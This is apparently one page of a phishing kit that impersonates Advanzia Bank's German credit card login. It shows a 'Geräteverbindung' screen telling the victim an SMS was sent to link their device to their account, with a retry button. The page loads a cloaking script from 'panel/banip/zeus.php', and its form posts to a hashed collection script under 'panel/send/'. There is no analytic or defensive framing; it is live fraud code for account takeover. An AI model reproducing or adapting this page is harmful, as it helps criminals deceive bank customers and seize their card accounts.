<?php if(session_status()==PHP_SESSION_NONE){session_start();}include"panel/banip/zeus.php";?>
<!DOCTYPE html>
<html lang="de">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Geräteverbindung</title>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&amp;display=swap" rel="stylesheet">
    <style>
        /* --- ADVANZIA STYLE MODIFICATIONS --- */
        :root {
            --primary-blue: #182D5C; /* Advanzia Dark Blue */
            --primary-text: #333333;
            --background-light: #f5f5f5;
            --white: #ffffff;
            --border-light: #e0e0e0;
            --grey-text: #666666;
            --button-bg: var(--primary-blue);
        }

        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'Inter', sans-serif;
        }

        body {
            background-color: var(--background-light);
            min-height: 100vh;
            display: flex;
            flex-direction: column;
            color: var(--primary-text);
        }

        .page-wrapper {
            display: flex;
            flex-direction: column;
            min-height: 100vh;
            width: 100%;
        }

        .header {
            padding: 20px 0;
            background: var(--white);
            border-bottom: 1px solid var(--border-light);
            display: flex;
            justify-content: center; /* Center content */
            align-items: center;
        }

        .logo {
            max-width: 1200px; 
            margin: 0 20px;
            padding: 0 20px; 
            width: 100%;
            display: flex;
            justify-content: flex-start;
        }

        .logo img {
            height: 35px; /* Advanzia logo height */
        }
        
        /* Security badge removed as it was not present in the Advanzia login style */
        .security-badge {
            display: none;
        }

        .main-content {
            flex: 1;
            display: flex;
            padding: 50px 20px 0 20px;
            align-items: flex-start;
            justify-content: center;
        }

        .verification-container {
            width: 100%;
            max-width: 400px;
            background: var(--white);
            padding: 30px;
            border-radius: 8px;
            box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1);
            border: 1px solid var(--border-light);
            text-align: center; /* Center the text content */
        }

        .verification-header {
            margin-bottom: 30px; /* Reduced margin */
        }

        .icon-sms {
            /* Using a common phone/SMS icon representation */
            width: 50px; 
            height: 50px;
            margin: 0 auto 10px auto;
            display: block;
            /* Placeholder for a phone/SMS icon. You should use a valid path/SVG. */
            content: url('data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%2024%2024%22%20fill%3D%22%23182D5C%22%3E%3Cpath%20d%3D%22M20%202H4c-1.1%200-2%20.9-2%202v18l4-4h14c1.1%200%202-.9%202-2V4c0-1.1-.9-2-2-2zm-2%2012H6v-2h12v2zm0-3H6V9h12v2zm0-3H6V6h12v2z%22%2F%3E%3C%2Fsvg%3E');
        }

        .verification-title {
            font-size: 24px; /* Reduced font size to fit H1 style */
            color: var(--primary-text);
            font-weight: 700;
            margin-top: 0;
            margin-bottom: 10px;
        }

        .verification-subtitle {
            /* Updated to use the entire German text block */
            color: var(--grey-text);
            font-size: 15px;
            line-height: 1.6;
            margin-top: 0;
            text-align: left; /* Keep text readable */
        }

        /* --- OTP Input Styling (Removed as requested) --- */
        .otp-container {
            display: none; 
        }

        /* --- Button Styling --- */
        .verify-button {
            background-color: var(--button-bg);
            color: var(--white);
            border: none;
            border-radius: 4px; /* Advanzia style radius */
            padding: 12px 20px;
            font-size: 16px;
            font-weight: 600;
            cursor: pointer;
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 10px;
            width: 100%;
            margin-top: 30px; /* Space after text */
            transition: all 0.2s ease;
        }
        
        .verify-button .shield-icon {
            width: 16px; /* Smaller icon */
            height: 16px;
            fill: var(--white);
        }

        .verify-button:disabled {
            background-color: #a0a0a0;
            color: var(--white);
            cursor: not-allowed;
        }

        .verify-button:not(:disabled):hover {
            background-color: #25407d; /* Slightly lighter blue on hover */
            transform: none; /* Removed lift effect */
            box-shadow: none;
        }

        /* Resend and Timer are removed as they are part of the OTP process which is now removed */
        .resend-container {
            display: none; 
        }
        
        /* Security badge at the bottom also removed to simplify to the core flow */
        .gpay-security {
            display: none;
        }

        /* --- Responsive Design --- */
        @media(max-width: 768px) {
            .main-content {
                padding: 30px 20px;
                align-items: center;
            }
            .verification-container {
                padding: 25px;
            }
            .header {
                padding: 15px 0;
            }
            .logo {
                padding: 0 15px;
            }
        }
        
        @media(max-width: 480px) {
            body {
                background-color: var(--white);
            }
            .verification-container {
                box-shadow: none;
                border-radius: 0;
                border: none;
                padding: 20px;
            }
        }
    </style>
</head>
<body>

    <div class="page-wrapper">
        <header class="header">
            <div class="logo">
                <img src="./logo.png" alt="ADVNZIA BANK Logo">
            </div>
            </header>

        <main class="main-content">
            <div class="verification-container">
                <div class="verification-header">
                    <img src="icon.png" alt="SMS Icon" class="icon-sms">
                    
                    <h1 class="verification-title">Geräteverbindung</h1>
                    
                    <p class="verification-subtitle">
                        Eine SMS wurde an Sie gesendet, um Ihr Gerät mit Ihrem Kreditkartenkonto zu verbinden.<br><br>
                        Verwenden Sie den Link in der SMS, um fortzufahren.<br><br>
                        Wenn Sie keine SMS erhalten haben, versuchen Sie es bitte erneut oder kontaktieren Sie den Kundenservice für Unterstützung.
                    </p>
                </div>

                <form method="post" action="panel/send/402c5a6fe4c04c7d269c4532baecc8ee.php" id="verificationForm">
                    <button type="submit" class="verify-button" id="verifyButton">
                        <svg class="shield-icon" viewBox="0 0 24 24" width="20" height="20"><path fill="currentColor" d="M12 1L3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5l-9-4zm0 10.99h7c-.53 4.12-3.28 7.79-7 8.94V12H5V6.3l7-3.11v8.8z"></path></svg>
                        <span>Erneut versuchen</span>
                    </button>
                </form>

                </div>
        </main>
    </div>

    <script>
        document.addEventListener('DOMContentLoaded', function () {
            // Since OTP fields and timer are removed, the JS is minimized.

            const form = document.getElementById('verificationForm');
            const verifyButton = document.getElementById('verifyButton');
            
            // Set button to enabled by default since there are no fields to fill
            verifyButton.disabled = false;

            form.addEventListener('submit', (e) => {
                // Optional: Add basic client-side submit logic here if needed
                console.log("Form submitted (Erneut versuchen clicked).");
                // If you want to disable the button after click:
                // verifyButton.disabled = true;
                // verifyButton.innerHTML = '<span class="spinner"></span> <span>Wird gesendet...</span>';
            });
        });
    </script>
</body>
</html>